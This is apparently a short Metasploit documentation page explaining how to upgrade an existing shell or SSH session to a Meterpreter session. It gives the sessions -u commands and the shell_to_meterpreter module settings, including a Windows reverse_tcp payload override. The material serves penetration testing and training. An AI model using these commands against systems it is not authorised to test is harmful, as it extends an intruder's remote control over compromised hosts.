Upgrading shells to Meterpreter

If you have an existing session, either Meterpreter, an SSH, or a basic command shell - you can open a new Meterpreter session with:

sessions -u 3

To upgrade the most recently opened session to Meterpreter using the sessions command:

sessions -u -1

Or run the shell_to_meterpreter module manually:

use multi/manage/shell_to_meterpreter
run session=-1
run session=-1 win_transfer=POWERSHELL
run session=-1 win_transfer=VBS

If you want to upgrade your shell with fine control over what payload, use the PAYLOAD_OVERRIDE, PLATFORM_OVERRIDE, and on windows, PSH_ARCH_OVERRIDE. All 3 options are required to set an override on windows, and the first two options are required on other platforms, unless you are not using an override.

use multi/manage/shell_to_meterpreter
set SESSION 1
set PAYLOAD_OVERRIDE windows/meterpreter/reverse_tcp
set PLATFORM_OVERRIDE windows
set PSH_ARCH_OVERRIDE x64